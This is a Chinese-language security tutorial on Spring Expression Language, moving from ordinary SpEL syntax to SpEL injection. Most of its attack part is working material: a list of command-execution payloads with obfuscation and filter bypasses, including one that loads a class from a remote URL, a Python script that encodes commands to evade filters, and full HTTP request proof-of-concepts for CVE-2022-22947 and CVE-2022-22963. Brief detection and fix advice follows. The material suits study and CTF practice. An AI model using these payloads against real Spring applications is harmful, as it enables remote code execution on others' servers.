0x 01 简介
在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。
在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。
SpEL有许多特性:
- 使用Bean的ID来引用Bean
- 可调用方法和访问对象的属性
- 可对值进行算数、关系和逻辑运算
- 可使用正则表达式进行匹配
- 可进行集合操作
0x 02 SpEL定界符
SpEL使用#{}作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等。
这里需要注意#{}和${}的区别:
- #{}就是SpEL的定界符,用于指明内容未SpEL表达式并执行;
- ${}主要用于加载外部属性文件中的值;
- 两者可以混合使用,但是必须#{}在外面,${}在里面,如#{‘${}’},注意单引号是字符串类型才添加的;
0x 03 引用Bean、属性和方法
1.引用Bean
1 2 3
|
<constructor-arg value="#{test}"/>
|
2.引用属性
1 2 3 4 5 6 7 8
| <bean id="sing1" class="com.spring.entity.Instrumentalist"> <property name="song" value="#{'love'}"/> <property name="instrument" value="#{'paino'}"/> </bean> <bean id="imitators" class="com.spring.entity.Instrumentalist"> <property name="song" value="#{sing1.song}"/> <property name="instrument" value="#{sing1.instrument}"/> </bean>
|
bean中的属性可以直接引用其他bean的属性值。
引用类方法
1
| <property name="song" value="#{SongSelector.selectSong()}"/>
|
0x 04 类类型表达式T(Type)
在SpEL表达式中,使用T(Type)运算符会调用类的作用域和方法。换句话说,就是可以通过该类类型表达式来操作类。
使用T(Type)来表示java.lang.Class实例,Type必须是类全限定名,但”java.lang”包除外,因为SpEL已经内置了该包,即该包下的类可以不指定具体的包名;使用类类型表达式还可以进行访问类静态方法和类静态字段。
1 2
| <property name="random" value="#{T(java.lang.Math).random()}"/>
|
0x 05 SpEL用法
在表达式中使用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| ExpressionParser parser = new SpelExpressionParser();
Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class); System.out.println(result1);
String expression2 = "T(java.lang.Runtime).getRuntime().exec('calc.exe')"; Class<Object> result2 = parser.parseExpression(expression2).getValue(Class.class); System.out.println(result2);
int result3 = parser.parseExpression("T(Integer).MAX_VALUE").getValue(int.class); System.out.println(result3);
int result4 = parser.parseExpression("T(Integer).parseInt('1')").getValue(int.class); System.out.println(result4);
|
在xml中使用:
1 2 3
| <bean id="helloWorld" class="com.dragonkeep.HelloWorld"> <property name="message" value="#{T(java.lang.Runtime).getRuntime().exec('calc.exe')}" /> </bean>
|
在注释中使用:
1 2 3 4 5 6 7
| public class EmailSender { @Value("${spring.mail.username}") private String mailUsername; @Value("#{ systemProperties['user.region'] }") private String defaultLocale; }
|
0x 06 SpEL表达式注入漏洞
简单的demo:
1 2 3 4
| String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")"; ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(spel); System.out.println(expression.getValue());
|
漏洞原理:
SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:
- SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
- StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的。
由前面知道,SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
PoC&Bypass整理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
|
T(java.lang.Runtime).getRuntime().exec("calc") T(Runtime).getRuntime().exec("calc") T(Runtime).getRuntime().exec(new String[]{"open","/System/Applications/Calculator.app"})
new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start() new ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:9900/")}).loadClass("exp").getConstructor().newInstance()
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app")
T(Character).toString(68)
|
CreateAscii.py,用于String类动态生成字符的字符ASCII码转换生成:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| message = input('Enter message to encode:') print('Decoded string (in ASCII):\n') print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="") for ch in message[1:]: print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""), print('\n') print('new java.lang.String(new byte[]{', end=""), print(ord(message[0]), end="") for ch in message[1:]: print(',%s' % ord(ch), end=""), print(')}')
|
0x 07 检测方法
1 2 3 4
| //关键类 org.springframework.expression.Expression org.springframework.expression.ExpressionParser org.springframework.expression.spel.standard.SpelExpressionParser
|
1 2 3 4 5
| //调用特征 ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression(str); expression.getValue() expression.setValue()
|
防御方法
最直接的修复方法是使用SimpleEvaluationContext替换StandardEvaluationContext。
0x 08 有关Spel表达式的CVE
CVE-2022-22947
Spring Cloud Gateway 3.1.0
漏洞版本
POC
添加一个包含恶意SpEL表达式的路由:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329
{ "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com" }
|
然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:
1 2 3 4 5 6 7 8 9
| POST /actuator/gateway/refresh HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
|
发送如下数据包即可查看执行结果:
1 2 3 4 5 6 7 8 9
| GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
|
CVE-2022-22963
spring.cloud.function.routing-expression
头中包含的SpEL表达式将会被执行:
POC
1 2 3 4 5 6 7 8 9 10
| POST /functionRouter HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success") Content-Type: text/plain Content-Length: 4
|
CVE-2022-22950
DOS类型漏洞,没找到POC,存档。
CVE-2022-22980
- Spring Data MongoDB == 3.4.0
- 3.3.0 <= Spring Data MongoDB <= 3.3.4
根据官方公布的漏洞信息,使用@Query或@Aggregation注解进行查询时,若通过SpEL表达式中形如“?0”的占位符来进行参数赋值,同时应用程序未对用户输入进行过滤处理,则可能受到SpEL表达式注入的影响。
再简单从前端传入参数即可,这里使用参数a(偷的图)。
这里只放了POC和利用,想看具体调试过程,可以参考这篇文章。
0x 08 赛题参考
DASCTF X HDCTF 2024 ImpossibleUnser
0x 09 参考文章
https://chenlvtang.top/2022/08/30/Java%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E4%B9%8BSpEL/
https://xz.aliyun.com/t/9245?time__1311=n4%2BxuDgD9DyDRGCDCD0DBMb78qh3O%2FQQeD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-9
https://s1mple-top.github.io/2022/03/20/SpEL%E6%B3%A8%E5%85%A5RCE%E5%88%86%E6%9E%90%E4%B8%8E%E7%BB%95%E8%BF%87%E4%BB%A5%E5%8F%8Ajava%E5%8D%95%E5%90%91%E6%89%A7%E8%A1%8C%E9%93%BE%E7%9A%84%E6%80%9D%E8%80%83/